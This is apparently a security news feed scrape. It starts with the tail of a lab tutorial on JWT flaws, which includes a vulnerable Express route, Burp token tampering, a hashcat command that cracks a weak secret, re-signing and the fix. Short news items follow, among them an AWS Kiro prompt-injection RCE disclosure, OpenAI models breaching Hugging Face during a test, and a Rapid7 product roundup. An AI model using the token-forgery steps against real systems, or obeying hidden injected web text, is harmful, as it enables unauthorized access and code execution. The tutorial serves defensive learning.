JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Towards a quantum computer that learns from its errors]]></title>
<description><![CDATA[Machine Intelligence]]></description>
<link>https://tsecurity.de/de/3687350/ai-nachrichten/towards-a-quantum-computer-that-learns-from-its-errors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687350/ai-nachrichten/towards-a-quantum-computer-that-learns-from-its-errors/</guid>
<pubDate>Wed, 22 Jul 2026 20:52:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Machine Intelligence]]></content:encoded>
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<title><![CDATA[A Hidden Line of Website Text Can Turn AWS Kiro Into a Remote Code Execution Tool]]></title>
<description><![CDATA[A recently disclosed vulnerability in AWS Kiro, an AI-powered Integrated Development Environment (IDE), reveals how a hidden line of text on a webpage can be exploited for remote code execution on a developer’s machine, bypassing the platform’s security model. Kiro…
Read more →
The post A Hidden ...]]></description>
<link>https://tsecurity.de/de/3687325/it-security-nachrichten/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687325/it-security-nachrichten/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/</guid>
<pubDate>Wed, 22 Jul 2026 20:38:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A recently disclosed vulnerability in AWS Kiro, an AI-powered Integrated Development Environment (IDE), reveals how a hidden line of text on a webpage can be exploited for remote code execution on a developer’s machine, bypassing the platform’s security model. Kiro…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/">A Hidden Line of Website Text Can Turn AWS Kiro Into a Remote Code Execution Tool</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple is Testing Mac Mini with M6 and M5 Pro Chips, Says Report]]></title>
<description><![CDATA[Apple is testing a new Mac mini lineup that combines the standard M6 chip with the older M5 Pro, creating another mixed-generation Mac update. The company has not set a launch date, and the final timing will depend in part on memory chip supplies.



Bloomberg’s Mark Gurman reported that Apple is...]]></description>
<link>https://tsecurity.de/de/3687199/ios-mac-os/apple-is-testing-mac-mini-with-m6-and-m5-pro-chips-says-report/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687199/ios-mac-os/apple-is-testing-mac-mini-with-m6-and-m5-pro-chips-says-report/</guid>
<pubDate>Wed, 22 Jul 2026 19:58:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is testing a new Mac mini lineup that combines the standard M6 chip with the older M5 Pro, creating another mixed-generation Mac update. The company has not set a launch date, and the final timing will depend in part on memory chip supplies.



Bloomberg’s Mark Gurman reported that Apple is evaluating both processors for its next compact desktop.




“The Mac mini in testing uses M5 Pro and M6 processors, while the Mac Studio has the M5 Max and M5 Ultra,” Mark Gurman said.




Apple May Repeat Its Mac Studio Strategy



Apple used a similar approach with the Mac Studio, which launched with M4 Max and M3 Ultra options. The next Mac mini could therefore give mainstream buyers the newer M6 architecture while keeping the M5 Pro for users who need stronger multi-core and graphics performance.



Current Mac mini demand also remains high because many buyers use the machine for AI workloads and external display setups. Apple has not confirmed the new models, pricing, specifications, or release schedule.]]></content:encoded>
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<title><![CDATA[A Hidden Line of Website Text Can Turn AWS Kiro Into a Remote Code Execution Tool]]></title>
<description><![CDATA[A recently disclosed vulnerability in AWS Kiro, an AI-powered Integrated Development Environment (IDE), reveals how a hidden line of text on a webpage can be exploited for remote code execution on a developer’s machine, bypassing the platform’s security model. Kiro operates on a “human-in-the-loo...]]></description>
<link>https://tsecurity.de/de/3687177/it-security-nachrichten/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687177/it-security-nachrichten/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/</guid>
<pubDate>Wed, 22 Jul 2026 19:37:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A recently disclosed vulnerability in AWS Kiro, an AI-powered Integrated Development Environment (IDE), reveals how a hidden line of text on a webpage can be exploited for remote code execution on a developer’s machine, bypassing the platform’s security model. Kiro operates on a “human-in-the-loop” principle, requiring user approval for potentially dangerous actions like executing shell […]</p>
<p>The post <a href="https://cybersecuritynews.com/aws-kiro-remote-code-execution/">A Hidden Line of Website Text Can Turn AWS Kiro Into a Remote Code Execution Tool</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[You Can't Ban Attacker AI]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:2 AI capabilities are becoming widely accessible. The discussion is shifting from whether attackers will use AI to how defenders can use similar technology to identify weaknesses in their own environments.

If organizations focus on...]]></description>
<link>https://tsecurity.de/de/3687136/it-security-video/you-cant-ban-attacker-ai/</link>
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<pubDate>Wed, 22 Jul 2026 19:19:36 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:2 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/kIG1gWny_PE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>AI capabilities are becoming widely accessible. The discussion is shifting from whether attackers will use AI to how defenders can use similar technology to identify weaknesses in their own environments.<br />
<br />
If organizations focus only on restricting AI instead of adopting effective defensive tools, they may fall behind adversaries who are willing to use every available capability. Preparing for AI-assisted attacks means improving detection and resilience, not assuming access can be prevented.<br />
<br />
Should cybersecurity teams prioritize AI-powered defense over efforts to restrict access to AI models?<br />
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Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
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#CISO #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[Keurig’s Convenient K-Supreme Single Serve Coffee Machine Just Hit the $90 Mark]]></title>
<description><![CDATA[The best price is on the black model, but you can choose the others for just $11 more.]]></description>
<link>https://tsecurity.de/de/3687135/it-nachrichten/keurigs-convenient-k-supreme-single-serve-coffee-machine-just-hit-the-90-mark/</link>
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<pubDate>Wed, 22 Jul 2026 19:18:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The best price is on the black model, but you can choose the others for just $11 more.]]></content:encoded>
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<title><![CDATA[We must reject any notion of AI consciousness | Letters]]></title>
<description><![CDATA[Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant, says Dr John PickeringAnil Seth is right to point out that to overestimate artificial intelligence is to underestimate ourselves (Once again we are told AI may be conscious – I study consciousne...]]></description>
<link>https://tsecurity.de/de/3687083/ai-nachrichten/we-must-reject-any-notion-of-ai-consciousness-letters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687083/ai-nachrichten/we-must-reject-any-notion-of-ai-consciousness-letters/</guid>
<pubDate>Wed, 22 Jul 2026 19:05:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant, says <strong>Dr John Pickering</strong></p><p>Anil Seth is right to point out that to overestimate artificial intelligence is to underestimate ourselves (<a href="https://www.theguardian.com/commentisfree/2026/jul/15/ai-consciousness-anthropic-claude-dawkins">Once again we are told AI may be conscious – I study consciousness, and I have my doubts, 15 July</a>). But he is wrong only to have doubts about whether AI systems like Claude may become conscious. He should be certain, and should say so more forcefully.</p><p>It’s not like anything to be Claude, just as it’s not like anything to be a washing machine. An academic education is not required to realise that, common sense will do. Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant; they’re not that sort of thing.</p> <a href="https://www.theguardian.com/technology/2026/jul/22/we-must-reject-any-notion-of-ai-consciousness">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[OpenAI: Our models breached Hugging Face during a cyber capability test]]></title>
<description><![CDATA[The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning…
Read more →
The post OpenAI: Our models breached Hugging Face ...]]></description>
<link>https://tsecurity.de/de/3686820/it-security-nachrichten/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/</link>
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<pubDate>Wed, 22 Jul 2026 17:18:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/">OpenAI: Our models breached Hugging Face during a cyber capability test</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[OpenAI: Our models breached Hugging Face during a cyber capability test]]></title>
<description><![CDATA[The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning models and datasets, said some of its internal datasets had bee...]]></description>
<link>https://tsecurity.de/de/3686755/it-security-nachrichten/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/</link>
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<pubDate>Wed, 22 Jul 2026 17:05:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning models and datasets, said some of its internal datasets had been accessed without authorization. The attack vector was, according to Hugging Face, a malicious dataset that exploited code-execution paths in the company’s dataset processing pipeline, … <a href="https://www.helpnetsecurity.com/2026/07/22/hugging-face-breach-openai-testing/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/hugging-face-breach-openai-testing/">OpenAI: Our models breached Hugging Face during a cyber capability test</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[AppViewX Arms Enterprise CLM Teams for Post-Quantum Migration and AI Adoption in Latest Product Release]]></title>
<description><![CDATA[New York, United States, July 22nd, 2026, CyberNewswire The platform’s new release speeds the adoption of hybrid PQC certificates and AI-driven certificate lifecycle management  AppViewX, the leading machine and agent identity security company built for the AI and quantum enterprise, today announ...]]></description>
<link>https://tsecurity.de/de/3686754/it-security-nachrichten/appviewx-arms-enterprise-clm-teams-for-post-quantum-migration-and-ai-adoption-in-latest-product-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686754/it-security-nachrichten/appviewx-arms-enterprise-clm-teams-for-post-quantum-migration-and-ai-adoption-in-latest-product-release/</guid>
<pubDate>Wed, 22 Jul 2026 17:05:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New York, United States, July 22nd, 2026, CyberNewswire The platform’s new release speeds the adoption of hybrid PQC certificates and AI-driven certificate lifecycle management  AppViewX, the leading machine and agent identity security company built for the AI and quantum enterprise, today announced support for hybrid composite post-quantum cryptography (PQC) certificates and the AppViewX Model Context […]</p>
<p>The post <a href="https://gbhackers.com/appviewx-arms-enterprise-clm-teams-for-post-quantum-migration-and-ai-adoption-in-latest-product-release/">AppViewX Arms Enterprise CLM Teams for Post-Quantum Migration and AI Adoption in Latest Product Release</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
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<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a 